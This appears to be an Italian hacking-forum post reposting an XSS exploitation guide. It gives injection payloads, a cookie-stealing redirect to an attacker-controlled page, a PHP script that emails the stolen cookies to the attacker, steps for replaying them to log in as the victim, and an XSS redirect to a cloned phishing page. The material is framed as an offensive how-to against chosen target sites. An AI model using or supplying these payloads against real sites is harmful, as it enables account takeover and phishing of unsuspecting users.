Nuova Discussione  Rispondi alla Discussione Pagina 1 di 1
 
Guida XSS By mudercore
Autore Messaggio
Rispondi Citando
Messaggio Guida XSS By mudercore 
 
+ Autore : murdercode
+ Email : murdercode(at)gmail(dot)com
+ Sito : http://www.infernet-x.com

# Licenza e Condizioni (Disclaimer)
Il seguente documento è da ritenersi a puro scopo informativo . Io , Stefano Novelli (alias "murdercode") , non mi assumo
alcuna responsabilità circa l'uso delle informazioni presenti in questo documento .
I link esterni non sono sotto il totale controllo dello staff di Infernet ( http://www.infernet-x.com ) .
L'autore si riserva il diritto di aggiornare la licenza di utilizzo del documento e le relative condizioni senza la comunicazione pubblica.
Il seguente documento è protetto da licenza Creative Commons 2.5 Italia .
Note dall'autore : il seguente testo può essere utilizzato per la pubblicazione su altri portali esterni dalla comunità di hacking
italiana Infernet X Forum wh italian hackin' community , purchè non modificato in ogni sua parte . In caso di un eventuale
copia-incolla su altri portali evitare di utilizzare i tag code , quote o altri che possono modificare la formattazione di tale documento .

Per traduzioni + For translations
# murdercode(at)gmail(dot)com

HOW TO - Come Sfruttare le XSS (Cross Site Scripting)

# Introduzione
La tecnica del Cross Site Scriptin (XSS,una sigla da non confondere con CSS , un linguaggio di programmazione markup
dedicato esclusivamente alla formattazione di testo e dati sul web) fa parte della famiglia dei "code injection" e
può rappresentare un pericolo di sicurezza su qualsiasi server , piattaforma , di qualsiasi linguaggio web , dinamico
o statico .

# Trovare una XSS
Come abbiamo detto la tecnica del cross site scripting consiste nel far eseguire al browser degli script non originari . Quello che dobbiamo fare è dunque far si che la pagina contenga del codice (preferibilmente javascript) all'interno della pagina , avendo così la possibilità di sfruttarla . Vediamo come funziona brevemente :
Prendiamo ad esempio un motore di ricerca . Avrà una input dove verranno inseriti dei dati , come nell'esempio :
Codice: [Download] [Nascondi]
  1. <form id="form1" name="form1" action="pippo.php" method="get"><input type="text" id="cerca" name="cerca" value="lamiaricerca"></form> 

Prendiamo in considerazione il fatto che quello che andremo a scrivere nella input viene salvato nel value , quindi se cerchiamo pippo la input sarà :
Codice: [Download] [Nascondi]
  1. <input type="text" id="cerca" name="cerca" value="pippo"> 

Vediamo ora come far eseguire del codice Javascript .
Se noi andremo a cercare la stringa "><script>alert("xss");</script> uscirà fuori questo tipo di input :
Codice: [Download] [Nascondi]
  1. <input type="text" id="cerca" name="cerca" value=""><script>alert("xss");</script>"> 

Quindi la input viene chiusa e viene eseguito il javascript .
Ovviamente esistono altre mille modi , altro esempio :
Codice: [Download] [Nascondi]
  1. <textarea>lanostraricerca</textarea> 

Dando il valore </textarea><script>alert("xss");</script><textarea> uscirà qualcosa del genere :
Codice: [Download] [Nascondi]
  1. <textarea></textarea><script>alert("xss");</script><textarea></textarea> 

E' possibile fare ciò anche per i background , bgcolor , parametri p e tutti quei parametri che possono essere inviati tramite GET o POST o assegnati dalla querystring del browser .

# Riconoscere una XSS buona da una cattiva
Solitamente esistono due tipi di XSS : quelle pubbliche e quelle private .
1. Per XSS pubblica intendiamo una vulnerabilità che risiede su un CMS o su una struttura web dedicata all'utilizzo
di terze parti .
2. Per XSS privata intendiamo una vulnerabilità che risiede in un sito web con CMS privato , quindi non pubblico dove
l'utilizzo di tale CMS è riservato solo al server che lo utilizza .
Quando si parla di XSS che grabba (quindi buona) vuol dire che è possibile sfruttare quella vulnerabilità per impossessarsi
solitamente dei cookie di chi andrà a visitare il link . Qualora la XSS non grabba (quindi cattiva) può essere comunque
utilizzata per fare azioni di Phishing .

# Sfruttare una XSS buona
Solitamente ci capiterà di vedere qualcosa tipo
Codice: [Download] [Nascondi]
  1. www.sito.it/pagina.php?variabile="><script>alert(document.cookie)</script> 

oppure tipo
Codice: [Download] [Nascondi]
  1. www.sito.it/pagina.php?variabile=">[XSS] 

Ebbene , sono entrambi la stessa cosa . Al posto di XSS va inserito il codice javascript con tanto di tag per aprire
e chiudere lo script in javascript .
In questo modo è possibile inviare la vittima di turno (a cui prendermo i cookie) verso una pagina costruita da noi
dove invieremo in metodo GET (quindi tramite barra degli indirizzi) il valore dei cookie .
Dal codice visto precedentemente costruiamo un redirect verso una nostra pagina che costruiremo poi in php .
[code]www.sito.it/pagina.php?variabile="><script>location.href="SITO"+document.cookie;</script>
Dove SITO verrà sostituito con
Codice: [Download] [Nascondi]
  1. www.nostrosito.it/rubacookie.php?cookie= 

Andiamo ora a costruire la pagina rubacookie.php
Codice: [Download] [Nascondi]
  1. <?  
  2. mail("nostra@mail.it","Abbiamo rubato i cookie",$_GET['cookie'];  
  3. ?>  
  4.  

In questo modo invieremo a noi stessi una mail con i cookie rubati .
Cosa ce ne facciamo ?
Incolliamo i cookie nel nostro computer (se utilizziamo Firefox possiamo usare Add'n'Edit Cookies , un plugin per Firefox)
refreshiamo la pagina dove abbiamo rubato i cookie e , se abbiamo fatto tutto correttamente , dovremo ritrovarci loggati
come user rubato . Da qui vola l'immaginazione .

# Sfruttare una XSS cattiva
Riprendendo il discorso di come è strutturata una XSS possiamo sfruttarla comunque . Spiego : anche se non è possibile
rubare i cookie possiamo sempre redirectare la vittima verso una pagina creata da noi , in questo caso parliamo di phishing .
Per effettuare del phishing ci basterà costruire la XSS in questo modo :
[code]www.sito.it/pagina.php?variabile="><script>location.href="www.nostrosito.it/phishing.htm";</script>
A questo punto ci basta costruire la pagina phishing.htm , magari riprendendo la stessa struttura grafica e le stesse
funzionalità del sito che abbiamo scelto di attaccare .

Fonte: http://www.infernet-x.com/





____________
L'antivirus più potente è quello che sta tra lo schermo e la sedia.

Aranzulla non è solo un esperto insettologo, ma ha anche vinto il concorso di bellezza indetto dalla Comunità Italiana Non Vedenti.


Giusto, appena riinizia la scuola, che dopo siamo liberi, tanto il primo quadrimestre è come Aranzulla, inutile.
By AndyEwo
Offline MSN Live Profilo Invia Messaggio Privato
Download Messaggio Torna in cima Vai a fondo pagina

Mostra prima i messaggi di:   
NascondiQuesto argomento è stato utile?
Condividi Argomento
blinkslist.com blogmarks.net co.mments.com del.icio.us digg.com newsvine.com facebook.com fark.com feedmelinks.com furl.net google.com linkagogo.com ma.gnolia.com meneame.net netscape.com reddit.com shadows.com simpy.com slashdot.org smarking.com spurl.net stumbleupon.com technorati.com favorites.live.com yahoo.com DIGG ITA Fai Informazione KiPapa Ok Notizie Segnalo
NascondiArgomenti Simili
Argomento Autore Forum Risposte Ultimo Messaggio
No Nuovi Messaggi Xss Guida pazzofrenetico Hacking Generale 8 22 Maggio 2008 21:33 Leggi gli ultimi Messaggi
AndyEwo232
No Nuovi Messaggi Guida RFI Zed92 Tutorial e Videotutorial Hacking 0 12 Gen 2008 11:06 Leggi gli ultimi Messaggi
Zed92
No Nuovi Messaggi Guida Al Perl AndyEwo232 Programmazione 10 09 Mar 2008 10:35 Leggi gli ultimi Messaggi
franco93it
No Nuovi Messaggi Guida Al Deface franco93it Off Topic 16 15 Mar 2008 12:43 Leggi gli ultimi Messaggi
AndyEwo232
No Nuovi Messaggi Xss2 Guida pazzofrenetico Hacking Generale 0 22 Maggio 2008 21:34 Leggi gli ultimi Messaggi
pazzofrenetico

Nuova Discussione  Rispondi alla Discussione  Pagina 1 di 1
 

Online in questo argomento: 0 Registrati, 0 Nascosti e 1 Ospite
Utenti Registrati: Nessuno


 
Lista Permessi
Non puoi inserire nuovi Argomenti
Non puoi rispondere ai Messaggi
Non puoi modificare i tuoi Messaggi
Non puoi cancellare i tuoi Messaggi
Non puoi votare nei Sondaggi
Non puoi allegare files in questo forum
Non puoi scaricare gli allegati in questo forum
Puoi inserire eventi calendario in questo forum